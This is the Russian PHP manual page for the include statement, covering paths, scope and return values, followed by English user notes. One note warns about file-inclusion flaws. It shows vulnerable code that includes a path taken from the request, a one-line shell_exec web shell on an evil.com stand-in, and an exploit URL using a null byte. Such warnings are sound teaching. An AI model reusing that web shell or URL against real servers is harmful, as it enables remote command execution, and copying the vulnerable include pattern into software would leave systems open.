Search

Keyboard Shortcuts

?
: This help

j
: Next menu item

k
: Previous menu item

g p
: Previous man page

g n
: Next man page

G
: Scroll to bottom

g g
: Scroll to top

g h
: Goto homepage

g s
: Goto search
(current page)

/
: Focus search box

require_once »
« require

- Руководство по PHP
- Справочник языка
- Управляющие конструкции

Change language: Russian

include

(PHP 4, PHP 5, PHP 7, PHP 8)

Выражение `include` включает и выполняет указанный файл.

Документация ниже также относится к выражению require.

Файлы включаются исходя из пути указанного файла, или, если путь не указан, используется путь, указанный в директиве include_path. Если файл не найден в include_path, `include` попытается проверить директорию, в которой находится текущий включающий скрипт и текущую рабочую директорию перед тем, как выдать ошибку. Конструкция `include` выдаст **`E_WARNING`**, если не сможет найти файл; поведение отлично от require, который выдаст **`E_ERROR`**.

Обратите внимание, что и `include` и `require` выдают дополнительную ошибку уровня **`E_WARNING`**, если к файлу невозможно получить доступ, перед тем, как выдать последнюю ошибку уровня **`E_WARNING`** или **`E_ERROR`** соответственно.

Если путь указан — абсолютный (начинающийся с буквы диска или с `\` в Windows или с `/` в Unix/Linux системах) или относительно текущей директории (начинающийся с `.` или `..`) — include_path будет проигнорирован вообще. Например, если имя файла начинается с `../`, парсер будет искать в родительской директории запрошенный файл.

Для дополнительной информации о том, как PHP обрабатывает включаемые файлы и включаемые пути, смотрите документацию для директивы include_path.

Когда файл включается, его код наследует ту же область видимости переменных, что и строка, на которой произошло включение. Все переменные, доступные на этой строке во включающем файле, будут также доступны во включаемом файле. Однако все функции и классы, объявленные во включаемом файле, имеют глобальную область видимости.

Пример #1 Простой пример `include`

```
vars.php
<?php

$color = 'зелёное';
$fruit = 'яблоко';

?>

test.php
<?php

echo "Одно $color $fruit"; // Одно

include 'vars.php';

echo "Одно $color $fruit"; // Одно зелёное яблоко

?>
```

Если включение происходит внутри функции включающего файла, тогда весь код, содержащийся во включаемом файле, будет вести себя так, как будто он был определён внутри этой функции. То есть, он будет в той же области видимости переменных этой функции. Исключением к этому правилу являются магические константы, которые выполняются парсером перед тем, как происходит включение.

Пример #2 Включение внутри функции

```
<?php

function foo()
{
global $color;

include 'vars.php';
```

```
echo "Одно $color $fruit";
}

/* vars.php в той же области видимости, что и foo(), *
* поэтому $fruit НЕ будет доступен за пределами этой области *
* $color доступен, поскольку мы объявили переменную глобальной */

foo(); // Одно зелёное яблоко
echo "Одно $color $fruit"; // Одно зелёное

?>
```

Когда файл включается, парсинг в режиме PHP-кода прекращается и переключается в режим HTML в начале указанного файла и продолжается снова в конце. По этой причине любой код внутри включаемого файла, который должен быть выполнен как код PHP, должен быть заключён в корректные теги начала и конца PHP-кода.

Если "обёртки URL include" включены в PHP, вы можете также указать файл для включения через URL (с помощью HTTP или других поддерживающихся обработчиков - смотрите Поддерживаемые протоколы и обёртки для списка протоколов) вместо локального пути. Если целевой сервер интерпретирует указанный файл как код PHP, переменные могут быть переданы во включаемый файл с помощью строки URL-запроса при использовании HTTP GET. Это совсем не то же самое, что включение файла и наследование родительской области видимости; скрипт выполняется на удалённом сервере, и результат затем включается в локальный скрипт.

Пример #3 Пример `include` через HTTP

```
<?php

/* В этом примере предполагается, что www.example.com настроен на обработку .php
* файлов, но не .txt. Также, 'Сработает' обозначает, что переменные
* $foo и $bar доступны внутри включаемого файла. */

// Не сработает; file.txt не обрабатывается www.example.com как PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Не сработает; будет искать файл 'file.php?foo=1&bar=2' в
// локальной файловой системе.
include 'file.php?foo=1&bar=2';

// Сработает.
include 'http://www.example.com/file.php?foo=1&bar=2';
?>
```

Внимание

Предупреждение безопасности

Удалённые файлы могут быть обработаны на удалённой стороне (в зависимости от расширения файла и того, что удалённый сервер выполняет скрипты PHP или нет), но это всё равно должно производить корректный скрипт PHP, потому что он будет затем обработан уже на локальном сервере. Если файл с удалённого сервера должен быть обработан и только отображён его результат, гораздо эффективно воспользоваться функцией readfile() В противном случае следует соблюдать особую осторожность, чтобы обезопасить удалённый скрипт для получения корректного и желаемого кода.

Смотрите также раздел Удалённые файлы, функции fopen() и file() для дополнительной информации.

Обработка возвращаемых значений: оператор `include` возвращает значение `FALSE` в случае возникновения ошибки и выдаёт предупреждение. Успешные включения, пока это не переопределено во включаемом файле, возвращают значение `1`. Возможно выполнить выражение return внутри включаемого файла, чтобы завершить процесс выполнения в этом файле и вернуться к выполнению включающего файла. Кроме того, возможно вернуть значение из включаемых файлов. Вы можете получить значение включения, как если бы вы вызвали обычную функцию. Хотя это невозможно при включении удалённого файла, только если вывод удалённого файла не содержит корректные теги начала и конца PHP кода (так же, как и локальный файл). Вы можете определить необходимые переменные

внутри этих тегов и они будут представлены в зависимости от того, какой файл был выключен.

Так как `include` - это специальная языковая конструкция, круглые скобки не обязательны вокруг аргумента. Будьте внимательны при сравнении возвращаемого значения.

Пример #4 Сравнение возвращаемого значения при include

```
<?php
// не сработает, интерпретируется как include(('vars.php') == TRUE), то есть include('1')
if (include('vars.php') == TRUE) {
echo 'OK';
}

// сработает
if ((include 'vars.php') == TRUE) {
echo 'OK';
}
?>
```

Пример #5 Выражения `include` и return

```
return.php
<?php

$var = 'PHP';

return $var;

?>

noreturn.php
<?php

$var = 'PHP';

?>

testreturns.php
<?php

$foo = include 'return.php';

echo $foo; // выведет 'PHP'

$bar = include 'noreturn.php';

echo $bar; // выведет 1

?>
```

`$bar` имеет значение `1`, т.к. включение файла произошло успешно. Заметьте разницу между примерами сверху. Первый использует return внутри включаемого файла, тогда как второй не использует. Если файл не может быть включён, возвращается **`false`** и возникает **`E_WARNING`**.

Если во включаемом файле определены функции, они могут быть использованы в главном файле вне зависимости от того, были ли они объявлены до return или после. Если файл включается дважды, PHP выдаст фатальную ошибку, потому что функции уже были определены. Рекомендуется использовать include_once вместо того, чтобы проверять был ли файл уже включён.

Другой путь "включить" PHP-файл в переменную - это захватить вывод с помощью функций контроля вывода вместе с `include`. Например:

Пример #6 Использование буферизации вывода для включения файла PHP в строку

```
<?php
```

```
$string = get_include_contents('somefile.php');

function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
return ob_get_clean();
}
return false;
}

?>
```

Для того, чтобы включать файлы автоматически в скрипты, обратите внимание на конфигурационные директивы auto_prepend_file и auto_append_file в *php.ini*.

> **Замечание**: Поскольку это языковая конструкция, а не функция, её нельзя вызывать как переменную функцию или передавать как именованный аргумент.

Смотрите также require, require_once, include_once, get_included_files(), readfile(), virtual() и include_path.

User Contributed Notes 13 notes

149
***snowyurik at gmail dot com* ¶**
15 years ago
This might be useful:

```
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
```

So you can move script anywhere in web-project tree without changes.

52
***Rash* ¶**
9 years ago
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

```
<?php

# index.php
define('what', 'ever');
include 'includeFile.php';

# includeFile.php

// check if what is defined and die if not

?>
```

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

```
<?php

# index.php (in document root (/usr/share/nginx/html))
```

```
include __DIR__ . '/../src/includeFile.php';

?>
```

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.

up
down
35

John Carty ¶

7 years ago

Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:

```
<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>
```

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

```
evil.txt
<?php echo shell_exec($_GET['command']);?>
```

It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.

up
down
29

Anon ¶

11 years ago

I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.

up
down
14

error17191 at gmail dot com ¶

8 years ago

When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of (include "./file") . PHP will search first in the current working directory (given by getcwd()) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php

```
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?php

echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
```

```
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
```

up
down
4

jbezorg at gmail dot com ¶

5 years ago

Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

```
( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
```

up
down
9

Wade. ¶

15 years ago

If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.

up
down
1

anonphpuser ¶

1 year ago

In the Example #2 Including within functions, the last two comments should be reversed I believe.

up
down
5

Ray.Paseur often uses Gmail ¶

9 years ago

It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:

```
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);
```

up
down
6

hyponiq at gmail dot com ¶

14 years ago

I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:

```
<?php
include '/Path/To/File.php';
?>
```

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:

```
<?php
$documentRoot = null;

if (isset($_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];

if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}

if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);

if (defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}
```

```
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

foreach ($directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}

$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>
```

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:

```
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
```

up
down
4

Chris Bell ¶

14 years ago

A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.

up
down
8

Rick Garcia ¶

15 years ago

As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

```
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
```

----

and so on. This way, the files in your framework will only have to issue statements such as this:

```
<?php
require_once(LIB_DIR . 'excel_functions.php');
?>
```

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

```
--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--
```

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.

up
down
1

ayon at hyurl dot com ¶

6 years ago

It is also able to include or open a file from a zip file:

```
<?php
include "something.zip#script.php";
echo file_get_contents("something.zip#script.php");
?>
```

Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.

＋add a note